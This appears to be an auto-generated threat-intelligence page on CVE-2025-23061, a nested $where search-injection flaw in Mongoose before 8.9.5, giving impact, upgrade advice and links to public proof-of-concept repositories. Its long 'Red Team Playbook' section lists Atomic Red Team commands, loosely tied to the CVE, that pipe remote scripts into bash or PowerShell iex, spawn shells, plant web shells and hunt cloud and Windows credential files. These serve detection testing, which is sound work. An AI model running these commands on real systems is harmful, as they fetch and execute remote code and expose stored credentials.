CVE-2025-23061
Overview
This vulnerability is a search injection issue stemming from improper handling of nested $where filters within the populate() match functionality in Mongoose. The root cause lies in incomplete sanitization and validation of query parameters, allowing arbitrary JavaScript expressions to be injected and evaluated. The affected component is the populate() method in Mongoose versions prior to 8.9.5, which processes nested query filters without adequate security controls.
Vulnerability Description
Mongoose before 8.9.5 can improperly use a nested $where filter with a populate() match, leading to search injection. NOTE: this issue exists because of an incomplete fix for CVE-2024-53900.
Impact
An unauthenticated remote attacker can exploit this vulnerability to execute arbitrary JavaScript code within MongoDB queries, potentially leading to unauthorized data access or manipulation. The attack requires network access to the application using vulnerable Mongoose versions but no user interaction or privileges. This can result in data breaches or compromise of application integrity. The CVSS vector (AV:N/AC:H/PR:N/UI:N) indicates network attack with high complexity but no privileges or user interaction needed.
Solution
Upgrade Mongoose to version 8.9.5 or later, where the issue with nested $where filters in populate() has been fully addressed as per the official release notes at https://github.com/Automattic/mongoose/releases/tag/8.9.5. Refer to the vendor's changelog and npm package page for detailed upgrade instructions. No alternative workarounds are documented; applying the patch is the recommended remediation.
EPSS vs KEV Prediction — Evolution (30 days)
Full Analysis
The vulnerability in Mongoose, a popular Object Data Modeling (ODM) library for Node.js, arises from improper handling of nested $where filters in conjunction with the populate() function. This flaw allows an attacker to manipulate queries in a way that can lead to search injection attacks. Specifically, when a nested $where filter is used, it can allow for arbitrary JavaScript code execution within the database context, leading to unintended data exposure or modification. The issue is compounded by the fact that it stems from an incomplete fix for a previous vulnerability, indicating a potential oversight in the library's security review processes.
Attack vectors for exploiting this vulnerability primarily involve crafting malicious queries that leverage the improper filtering mechanism. An attacker could exploit this flaw by sending specially crafted requests to a vulnerable application that utilizes Mongoose for database interactions. By injecting malicious JavaScript code into the $where filter, the attacker could manipulate the database query to return sensitive data or modify existing records. For instance, if an application allows users to search for records based on certain criteria, an attacker could input a payload that alters the intended logic of the query, potentially exposing user data or administrative information.
The real-world impact of this vulnerability can be significant, particularly for organizations that rely on Mongoose for managing sensitive data. The high CVSS score of 9.8 indicates a critical risk level, suggesting that successful exploitation could lead to severe consequences, including data breaches, loss of customer trust, and potential regulatory penalties. Businesses that handle personal or financial information are especially at risk, as the exposure of such data could lead to identity theft or financial fraud. Furthermore, the presence of this vulnerability in widely used applications could lead to a broader impact, affecting multiple organizations and their users.
To detect and mitigate this vulnerability, organizations should implement a multi-faceted approach. First, regular security assessments and code reviews should be conducted to identify and remediate any instances of improper query handling. Utilizing automated security scanning tools can help in identifying vulnerable code patterns. Additionally, developers should be educated on secure coding practices, particularly regarding the use of dynamic queries and the potential risks associated with JavaScript execution in database contexts. Upgrading to the latest version of Mongoose, where this vulnerability has been addressed, is crucial. Organizations should also consider implementing input validation and sanitization measures to prevent malicious data from being processed by the application.
In conclusion, the vulnerability in Mongoose represents a significant threat to applications that rely on this library for database interactions. The potential for search injection attacks highlights the importance of secure coding practices and thorough testing in the development lifecycle. By understanding the technical details, attack vectors, and real-world implications of this vulnerability, organizations can better prepare themselves to defend against such threats and protect their sensitive data from exploitation.
CSURFACE threat intelligence has identified a marked escalation in the exploitability of CVE-2025-23061, evidenced by a significant increase in the Exploit Prediction Scoring System (EPSS) from 0.56 to 0.72. This rise correlates with the emergence of multiple new proof-of-concept exploit repositories, which have broadened the attack surface and lowered the barrier for adversaries to weaponize this vulnerability. Our telemetry indicates a sustained upward trend in exploitation attempts, underscoring growing attacker interest and operationalization. The availability of diverse exploit tools enhances the likelihood of automated and opportunistic attacks targeting applications using vulnerable versions of Mongoose. Consequently, the threat level has escalated from high to critical, reflecting an increased probability of widespread exploitation and potential for severe impact on data integrity and application security.
Affected Products (3)
| Vendor | Product | Version | CPE | |
|---|---|---|---|---|
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Mongoosejs | Mongoose | All |
cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
|
|
|
Mongoosejs | Mongoose | All |
cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
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|
|
Mongoosejs | Mongoose | All |
cpe:2.3:a:mongoosejs:mongoose:*:*:*:*:*:node.js:*:*
|
Disclaimer
The exploits, modules, and proof-of-concept (PoC) code listed in this section are automatically collected from public repositories, including GitHub, ExploitDB, and Metasploit Framework.
CSURFACE is not the author, maintainer, or responsible party for any of this code. The content may contain malicious code, backdoors, or undocumented behavior.
By accessing any external link or executing any referenced code, you assume full responsibility for the risks involved. We strongly recommend:
- Only execute in isolated environments (sandbox/VM)
- Review source code before any execution
- Do not use against systems without explicit authorization
- Comply with all applicable local laws and regulations
GitHub PoCs (3)
| Repository | Author | Stars | Forks | Date | Link |
|---|---|---|---|---|---|
|
open-flaw/CVE-2025-23061
CVE-2025-23061 - Mongoose Command Injection
|
open-flaw | 0 | 0 | 2025-12-11 | View |
|
amikanev/CVE-2025-23061-LAB
|
amikanev | 0 | 0 | 2026-04-06 | View |
|
dajneem23/CVE-2025-23061
CVE-2025-23061 - Mongoose Command Injection
|
dajneem23 | 0 | 0 | 2025-12-11 | View |
Threat Feed
3 eventsSighting activity recorded
Sighting activity recorded
Proof-of-concept code is publicly available for this vulnerability
Likely Kill Chain
Typical exploitation path inferred from this vulnerability's characteristics — mapped to MITRE ATT&CK tactics.
Kill chain derived from the ML classifier.
Attack Vectors ML
MITRE ATT&CK Techniques (6)
The adversary's likely kill chain after exploiting this CVE — in execution order. Validate each stage with the Red Team Playbook below.
The techniques for this CVE don't apply to this operating system. Switch OS above.
CAPEC Attack Patterns ML
Red Team Playbook
44 AtomicRedTeam test(s) mapped to this CVE's kill chain. Use them to validate detections and controls.
AtomicRedTeam has no published tests for this CVE's techniques on this OS. Switch OS above to see other options.
Set-PowerCLIConfiguration -InvalidCertificateAction Ignore -ParticipateInCEIP:$false -Confirm:$false
Connect-VIServer -Server #{vm_host} -User #{vm_user} -Password #{vm_pass}
Get-VMHostService -VMHost #{vm_host} | Where-Object {$_.Key -eq "TSM-SSH" } | Start-VMHostService -Confirm:$false
echo "" | "#{plink_file}" -batch "#{vm_host}" -ssh -l #{vm_user} -pw "#{vm_pass}" "vim-cmd hostsvc/enable_ssh"
$syntaxList = #{syntax}
foreach ($syntax in $syntaxList) {
#{SharpView} $syntax -}
netstat -ano
net use
net sessions 2>nul
netstat
who -a
Get-NetTCPConnection | ForEach-Object {
$p = Get-Process -Id $_.OwningProcess -ErrorAction SilentlyContinue
[pscustomobject]@{
Local = "$($_.LocalAddress):$($_.LocalPort)"
Remote = "$($_.RemoteAddress):$($_.RemotePort)"
State = $_.State
PID = $_.OwningProcess
Process = if ($p) { $p.ProcessName } else { $null }
}
} | Sort-Object State,Process | Format-Table -AutoSize
sockstat -4
sockstat -6 2>/dev/null || true
sockstat -l 2>/dev/null || true
if command -v ss >/dev/null 2>&1; then ss -antp 2>/dev/null || ss -ant; ss -aunp 2>/dev/null || true; else lsof -i -nP 2>/dev/null || true; fi
Get-NetTCPConnection
[ "$(uname)" = 'FreeBSD' ] && pw useradd art -g wheel -s /bin/csh || useradd -s /bin/bash art
cat /etc/passwd |grep ^art
chsh -s /bin/sh art
cat /etc/passwd |grep ^art
for i in $(seq 1 5); do echo "$i, Atomic Red Team was here!"; sleep 1; done
curl -sS https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
wget --quiet -O - https://raw.githubusercontent.com/redcanaryco/atomic-red-team/master/atomics/T1059.004/src/echo-art-fish.sh | bash
sh -c "echo 'echo Hello from the Atomic Red Team' > #{script_path}"
sh -c "echo 'ping -c 4 #{host}' >> #{script_path}"
chmod +x #{script_path}
sh #{script_path}
echo '! exec "/bin/sh &"' | PERL_MM_USE_DEFAULT=1 cpan
uname -srm
cd /tmp
curl -s #{remote_url} |bash
ls -la /tmp/art.txt
export ART='echo "Atomic Red Team was here... T1059.004"'
echo $ART |/bin/sh
chmod +x #{autosuid}
bash #{autosuid}
chmod +x #{linenum}
bash #{linenum}
TMPFILE=$(mktemp)
echo "id" > $TMPFILE
bash $TMPFILE
[ "$(uname)" = 'FreeBSD' ] && encodecmd="b64encode -r -" && decodecmd="b64decode -r" || encodecmd="base64 -w 0" && decodecmd="base64 -d"
ART=$(echo -n "id" | $encodecmd)
echo "\$ART=$ART"
echo -n "$ART" | $decodecmd |/bin/bash
unset ART
awk 'BEGIN {system("/bin/sh &")}'
busybox sh &
echo $0
if $(env |grep "SHELL" >/dev/null); then env |grep "SHELL"; fi
if $(printenv SHELL >/dev/null); then printenv SHELL; fi
cat /etc/shells
sudo emacs -Q -nw --eval '(term "/bin/sh &")'
xcopy /I /Y "#{web_shells}" #{web_shell_path}
type C:\Windows\Panther\unattend.xml
type C:\Windows\Panther\Unattend\unattend.xml
python2 laZagne.py all
grep -ri password #{file_path}
exit 0
findstr /si pass *.xml *.doc *.txt *.xls
ls -R | select-string -ErrorAction SilentlyContinue -Pattern password
find #{file_path}/.aws -name "credentials" -type f 2>/dev/null
find #{file_path}/.azure -name "msal_token_cache.json" -o -name "accessTokens.json" -type f 2>/dev/null
find #{file_path}/.config/gcloud -name "credentials.db" -o -name "access_tokens.db" -type f 2>/dev/null
find #{file_path}/.oci/sessions -name "token" -type f 2>/dev/null
for file in $(find #{file_path} -type f -name .netrc 2> /dev/null);do echo $file ; cat $file ; done
dir /a:h C:\Users\%USERNAME%\AppData\Local\Microsoft\Credentials\
dir /a:h C:\Users\%USERNAME%\AppData\Roaming\Microsoft\Credentials\
$usernameinfo = (Get-ChildItem Env:USERNAME).Value
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Roaming\Microsoft\Credentials\
Get-ChildItem -Hidden C:\Users\$usernameinfo\AppData\Local\Microsoft\Credentials\
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
SharpCloud -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sessionGopher -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
Snaffler -noninteractive -consoleoutput
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
passhunt -local $true -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
powershellsensitive -consoleoutput -noninteractive
iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/WinPwn/121dcee26a7aca368821563cbe92b2b5638c5773/WinPwn.ps1')
sensitivefiles -noninteractive -consoleoutput
Detection & Response Rules
No detection or response rules found for this CVE.
No news articles found for this CVE.
References (5)
| Title | Tags | URL |
|---|---|---|
| nvd.nist.gov |
NVD
reference
|
https://nvd.nist.gov/vuln/detail/CVE-2025-23061 |
| npmjs.com |
GitHub CVE
|
https://www.npmjs.com/package/mongoose?activeTab=versions |
| github.com |
GitHub CVE
|
https://github.com/Automattic/mongoose/blob/master/CHANGELOG.md |
| github.com |
GitHub CVE
|
https://github.com/Automattic/mongoose/releases/tag/8.9.5 |
| github.com |
GitHub CVE
|
https://github.com/Automattic/mongoose/commit/64a9f9706f2428c49e0cfb8e223065acc645f7bc |